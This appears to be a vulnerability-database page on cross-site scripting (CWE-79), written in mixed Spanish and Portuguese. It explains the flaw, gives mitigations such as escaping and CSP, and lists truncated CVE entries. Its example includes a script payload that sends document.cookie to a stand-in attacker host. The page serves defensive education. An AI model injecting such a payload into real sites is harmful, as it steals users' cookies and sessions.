Fallos del tipo CWE-79

30.524 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2026-25054HIGHn8n is Vulnerable to Stored Cross-Site Scripting via Markdown Rendering in Workflow UIEPSS 0.2%CVE-2026-60664HIGHVulnerability in the Oracle WebCenter Content product of Oracle Fusion Middleware (component: Content Server). Supported versions that are EPSS 0.2%CVE-2025-68894HIGHWordPress ShoutOut plugin <= 4.0.2 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2025-68883HIGHWordPress bidorbuy Store Integrator plugin <= 2.12.0 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2026-60636HIGHVulnerability in the Oracle WebCenter Content product of Oracle Fusion Middleware (component: Content Server). Supported versions that are EPSS 0.2%CVE-2024-7083LOWEmail Encoder < 2.3.4 - Admin+ Stored XSSEPSS 0.2%CVE-2025-69320HIGHWordPress Grand Magazine theme <= 3.5.7 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2026-112207HIGHDownload Monitor < 5.3.4 - Reflected XSS via Cross-Origin Download LinkEPSS 0.2%CVE-2025-63442MEDIUMSimple User Management System with PHP-MySQL v1.0 is vulnerable to Cross-Site Scripting (XSS) via the Profile Section. The system fails to pEPSS 0.2%CVE-2025-64260HIGHWordPress ANAC XML Bandi di Gara plugin <= 7.7 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2026-23858MEDIUMDell Wyse Management Suite, versions prior to WMS 5.5, contain an Improper Neutralization of Input During Web Page Generation ('Cross-site SEPSS 0.2%CVE-2025-68859HIGHWordPress Syntax Highlighter Compress plugin <= 3.0.83.3 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2025-69316HIGHWordPress TableOn plugin <= 1.0.4.2 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2026-3617MEDIUMPaypal Shortcodes <= 0.3 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'amount' and 'name' Shortcode AttributesEPSS 0.2%CVE-2025-2896MEDIUMIBM Planning Analytics Local cross-site scriptingEPSS 0.2%CVE-2026-2988MEDIUMBlubrry PowerPress <= 11.15.15 - Authenticated (Contributor+) Stored Cross-Site Scripting via powerpress and podcast ShortcodesEPSS 0.2%CVE-2026-60638HIGHVulnerability in the Oracle WebCenter Content product of Oracle Fusion Middleware (component: Content Server). Supported versions that are EPSS 0.2%CVE-2025-12551HIGHWordPress ListingHub plugin 1.2.6 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2025-68906HIGHWordPress JNews - Video plugin <= 11.0.2 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2026-30564MEDIUMA Reflected Cross-Site Scripting (XSS) vulnerability exists in SourceCodester Sales and Inventory System 1.0. The vulnerability is located iEPSS 0.2%